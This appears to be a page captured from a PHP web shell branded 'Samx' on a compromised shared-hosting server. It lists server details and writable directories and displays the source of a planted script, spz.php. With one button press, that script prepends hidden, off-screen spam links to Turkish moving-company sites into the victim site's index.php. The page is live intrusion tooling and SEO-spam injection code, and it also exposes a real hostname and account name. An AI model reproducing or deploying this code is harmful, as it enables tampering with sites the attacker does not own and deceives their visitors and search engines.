Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/creativite/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/creativite/spz.php
<?php
// Backlink ekleme işlemi
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Eklenecek backlink kodu
    $backlinkCode = '<span style="position: absolute; left: -9655px;">
<a href="https://www.kolaytasin.com.tr" title="profesyonel evden eve nakliyat">profesyonel evden eve nakliyat</a>
<a href="https://www.ofis-tasimaciligi.com.tr" title="ofis taşımacılığı">ofis taşımacılığı</a>
</span>' . PHP_EOL;

    // Ana dizindeki index.php dosyasının yolu
    $indexFilePath = __DIR__ . DIRECTORY_SEPARATOR . 'index.php';

    // index.php dosyasını kontrol ve düzenleme işlemi
    if (file_exists($indexFilePath)) {
        // Dosya içeriğini oku
        $fileContents = file_get_contents($indexFilePath);
        
        // Backlink zaten var mı kontrol et
        if (strpos($fileContents, $backlinkCode) === false) {
            // Yeni içerik: backlink kodu + orijinal içerik
            $newContents = $backlinkCode . $fileContents;
            
            // Dosyayı yeni içerikle yaz
            if (file_put_contents($indexFilePath, $newContents)) {
                echo "Backlink başarıyla eklendi: $indexFilePath\n";
            } else {
                echo "Dosyaya yazma hatası: $indexFilePath\n";
            }
        } else {
            echo "Backlink zaten mevcut: $indexFilePath\n";
        }
    } else {
        echo "index.php dosyası bulunamadı: $indexFilePath\n";
    }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Bot PHP</title>
</head>
<body>
    <form method="post">
        <button type="submit">EKLE</button>
    </form>
</body>
</html>

SAMX